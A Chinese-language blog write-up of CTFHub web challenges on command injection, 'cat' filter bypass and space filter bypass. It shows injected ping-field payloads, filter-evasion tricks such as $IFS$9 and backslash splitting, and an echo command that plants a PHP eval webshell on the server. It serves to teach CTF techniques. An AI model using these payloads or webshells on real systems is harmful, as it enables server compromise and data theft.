Fork me on GitHub

CTFHub题解-技能树-Web-RCE【命令注入、过滤cat、过滤空格】(一)

CTFHub题解-技能树-Web-Web工具配置-RCE
 
 
 本文记录   命令注入 、 过滤cat 、 过滤空格 的题解~ 
 
 
 
 
 
   RCE 的知识点:
 
  RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);
 
  RCE分为远程命令执行ping和远程代码执行evel。
  漏洞出现的原因:没有在输入口做输入处理。
  我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
 
  这里涉及到一个ping命令:
  Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。
 
  补充一些常用的管道符:
 
  Windows系统支持的管道符如下:
 
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

 

 
  Linux系统支持的管道符如下:
1. “;”:执行完前面的语句再执行后面的语句。
2. “|”:显示后面语句的执行结果。
3. “||”:当前面的语句执行出错时,执行后面的语句。
4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

 

 
 
 
(一) 命令注入
 
 
 
 
1.知识点
 
   Command Injection ,即 命令注入攻击 ,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
  在命令注入的漏洞中,最为常见的是PHP的命令注入。
 
  PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。
 
 
  Commad Inject漏洞产生原因及如何注入:
  在web程序中,因为业务功能需求,需要通过web前端传递参数到后台服务器上执行(特别是一些网络设备的web管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击着可以构造一些额外的“带有非法目的”的命令,欺骗后台服务器执行,造成破坏。
 
 
 
 
  以上三点缺一不可哦~
 
 
 
 
2.题解
 
 
 
 
 
 
 
 
 
 命令:127.0.0.1&cat 324861195929839.php 
 
 
 
 
 
 
 命令:127.0.0.1&cat 324861195929839.php | base64 
 
 
 PD9waHAgLy8gY3RmaHViezdmNGE0MmNjYTgyN2U1MmFjNTM2ZmQxZmJlMDA4ZjI1OWI4MzJiZDh9Cg== 
 
base64解码:
 
   ctfhub{7f4a42cca827e52ac536fd1fbe008f259b832bd8} 
 
 
方法二(没做出来......蚁剑没连接上qwq):
 
ps: 现已解决~
 
 命令:127.0.0.1&echo"<?php @eval($_POST['test']);?>">555.php 
 
命令:127.0.0.1&ls
 
 
 
 
但是.....蚁剑连接不上......
 
等这个问题解决了,再来更新吧~
 
欢迎大佬们指点!
 
-----------(*^▽^*)-----------20200407-------我来填坑啦~----------------(*^▽^*)--------------
 
感谢评论区的@jim_onetweo大佬的指点~
 
我重新开了这道题的环境!
 
 

 

在文本框里填写命令:
 
 127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php 

 

 

 

 
 
 
 

 

看到flag啦~

 

那么是为什么?

这里搬运一下评论区的回答:

 需要注意echo命令会调用$_POST导致原始文件中没有,因此需要改为echo -e "<?php @eval(\$_POST['test']);?>555.php即可! 

 

笔者又验证了一下一句话木马里面 $_POST 前不加  \  

 
 127.0.0.1&echo -e "<?php @eval($_POST['test']);?>" > 123.php  
 
 
 
 
 
验证了一下,确实是这样啦~
 
 
嘻嘻,又学到了一个小知识点,开心!
 
感谢博客园里友好的小伙伴们~
 
 
 
 
(二)过滤cat
 
 
 
 
 
1.知识点
 
  反斜杠 : 例如  ca\t fl\ag.php
 
  连接符: 例如   ca''t fla''g.txt
 
 
 
2.题解
 
 
 命令:127.0.0.1&ca\t flag_301343127217397.php 
 
 
 
 
查看源码方式:
 
 
 
 
 
和上一道题一样,用base64编码方式输出:
 
  命令:127.0.0.1&ca\t flag_301343127217397.php | base64
 
 
 
 ctfhub{590af5dd5165317bcd61ed35c73d79b04f5a92db} 
 
 
 
(三)过滤空格
 
 
 
 
 
1.知识点
 
在 bash 下, 可以用以下字符代替空格:
 <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  等
 
 
 
2.题解
 
 
 
 命令:127.0.0.1&cat<flag_279992832420591.php|base64 
 
base64方式输出~ 
 
 
 
 
查看源码的方法:
 
 命令:127.0.0.1&cat<flag_279992832420591.php 
 
 
 
 
 
 
 
 ctfhub{ffa0e0ea00501d6bedb30841cf720eca089e3947} 
 
 
 
 
 
 
 
参考资料:
 
https://blog.csdn.net/qq_43814486/article/details/90020139
https://www.dazhuanlan.com/2020/03/01/5e5ac71a86cec/
https://www.cnblogs.com/chalan630/p/12542239.html
 
 
 
posted @ 2020-03-30 17:54  0yst3r  阅读(4930)  评论(12编辑  收藏  举报
返回顶部